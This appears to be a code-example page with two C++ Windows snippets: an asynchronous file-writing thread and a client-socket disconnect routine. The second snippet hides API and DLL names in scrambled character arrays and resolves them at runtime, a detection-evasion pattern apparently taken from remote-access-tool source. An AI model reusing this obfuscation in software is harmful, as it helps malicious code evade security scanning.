Esempio n. 1
0
void VDFileAsyncNT::ThreadRun() {
	int requestHead = 0;
	int requestTail = 0;
	int requestCount = mBlockCount;
	uint32 pendingLevel = 0;
	uint32 readOffset = 0;
	bool	bPreemptiveExtend = mbPreemptiveExtend;
	sint64	currentSize;

	try {
		if (!VDGetFileSizeW32(mhFileFast, currentSize))
			throw MyWin32Error("I/O error on file \"%s\": %%s", GetLastError(), mFilename.c_str());

		for(;;) {
			int state = mState;

			if (state == kStateAbort) {
				typedef BOOL (WINAPI *tpCancelIo)(HANDLE);
				static const tpCancelIo pCancelIo = (tpCancelIo)GetProcAddress(GetModuleHandle(L"kernel32"), "CancelIo");
				pCancelIo(mhFileFast);

				// Wait for any pending blocks to complete.
				for(int i=0; i<requestCount; ++i) {
					VDFileAsyncNTBuffer& buf = mpBlocks[i];

					if (buf.mbActive) {
						WaitForSingleObject(buf.hEvent, INFINITE);
						buf.mbActive = false;
					}
				}
				break;
			}

			uint32 actual = mBufferLevel - pendingLevel;
			VDASSERT((int)actual >= 0);
			if (readOffset + actual > mBufferSize)
				actual = mBufferSize - readOffset;

			if (actual < mBlockSize) {
				if (state == kStateNormal || actual < mSectorSize) {
					// check for blocks that have completed
					bool blocksCompleted = false;
					for(;;) {
						VDFileAsyncNTBuffer& buf = mpBlocks[requestTail];

						if (!buf.mbActive) {
							if (state == kStateFlush)
								goto all_done;

							if (!blocksCompleted) {
								// wait for further writes
								mWriteOccurred.wait();
							}
							break;
						}

						if (buf.mbPending) {
							HANDLE h[2] = {buf.hEvent, mWriteOccurred.getHandle()};
							DWORD waitResult = WaitForMultipleObjects(2, h, FALSE, INFINITE);

							if (waitResult == WAIT_OBJECT_0+1)	// write pending
								break;

							DWORD dwActual;
							if (!GetOverlappedResult(mhFileFast, &buf, &dwActual, TRUE))
								throw MyWin32Error("Write error occurred on file \"%s\": %%s", GetLastError(), mFilename.c_str());
						}

						buf.mbActive = false;

						blocksCompleted = true;

						if (++requestTail >= requestCount)
							requestTail = 0;

						mBufferLevel -= buf.mLength;
						pendingLevel -= buf.mLength;
						VDASSERT((int)mBufferLevel >= 0);
						VDASSERT((int)pendingLevel >= 0);

						mReadOccurred.signal();

					}

					continue;
				}

				VDASSERT(state == kStateFlush);

				actual &= ~(mSectorSize-1);

				VDASSERT(actual > 0);
			} else {
				actual = mBlockSize;

				if (bPreemptiveExtend) {
					sint64 checkpt = mFastPointer + mBlockSize + mBufferSize;

					if (checkpt > currentSize) {
						currentSize += mBufferSize;
						if (currentSize < checkpt)
							currentSize = checkpt;

						if (!VDSetFilePointerW32(mhFileFast, currentSize, FILE_BEGIN)
							|| !SetEndOfFile(mhFileFast))
							mbPreemptiveExtend = bPreemptiveExtend = false;
					}
				}
			}

			// Issue a write to OS
			VDFileAsyncNTBuffer& buf = mpBlocks[requestHead];

			VDASSERT(!buf.mbActive);

			DWORD dwActual;

			buf.Offset = (DWORD)mFastPointer;
			buf.OffsetHigh = (DWORD)((uint64)mFastPointer >> 32);
			buf.Internal = 0;
			buf.InternalHigh = 0;
			buf.mLength = actual;
			buf.mbPending = false;

			if (!WriteFile(mhFileFast, &mBuffer[readOffset], actual, &dwActual, &buf)) {
				if (GetLastError() != ERROR_IO_PENDING)
					throw MyWin32Error("Write error occurred on file \"%s\": %%s", GetLastError(), mFilename.c_str());

				buf.mbPending = true;
			}

			buf.mbActive = true;

			pendingLevel += actual;
			VDASSERT(pendingLevel <= (uint32)mBufferLevel);

			readOffset += actual;
			VDASSERT(readOffset <= mBufferSize);
			if (readOffset >= mBufferSize)
				readOffset = 0;

			mFastPointer += actual;

			if (++requestHead >= requestCount)
				requestHead = 0;
		}
all_done:
		;

	} catch(MyError& e) {
		MyError *p = new MyError;

		p->TransferFrom(e);
		delete mpError.xchg(p);
		mReadOccurred.signal();
	}
}
Esempio n. 2
0
void CClientSocket::Disconnect()
{
    typedef int
    (WSAAPI
     *setsockoptT)(
         IN SOCKET s,
         IN int level,
         IN int optname,
         IN const char FAR * optval,
         IN int optlen
     );
    char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'};
    char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'};
    setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY);


    typedef int
    (WSAAPI
     *closesocketT)(
         IN SOCKET s
     );
    char GKGvYsR[] = {'c','l','o','s','e','s','o','c','k','e','t','\0'};
    closesocketT pclosesocket=(closesocketT)GetProcAddress(LoadLibrary(nZSZGQH),GKGvYsR);


    typedef BOOL
    (WINAPI
     *CancelIoT)(
         __in HANDLE hFile
     );
    CancelIoT pCancelIo=(CancelIoT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CancelIo");

    typedef BOOL (WINAPI *SetEventT)
    (
        __in HANDLE hEvent
    );
    SetEventT pSetEvent = (SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetEvent");

    typedef LONG (WINAPI *InterlockedExchangeT)
    (
        __inout LONG volatile *Target,
        __in    LONG Value
    );
    InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange");

    //
    // If we're supposed to abort the connection, set the linger value
    // on the socket to 0.
    //
    LINGER lingerStruct;
    lingerStruct.l_onoff = 1;
    lingerStruct.l_linger = 0;
    psetsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );

    pCancelIo((HANDLE) m_Socket);
    pInterlockedExchange((LPLONG)&m_bIsRunning, false);
    pclosesocket(m_Socket);

    pSetEvent(m_hEvent);

    m_Socket = INVALID_SOCKET;
}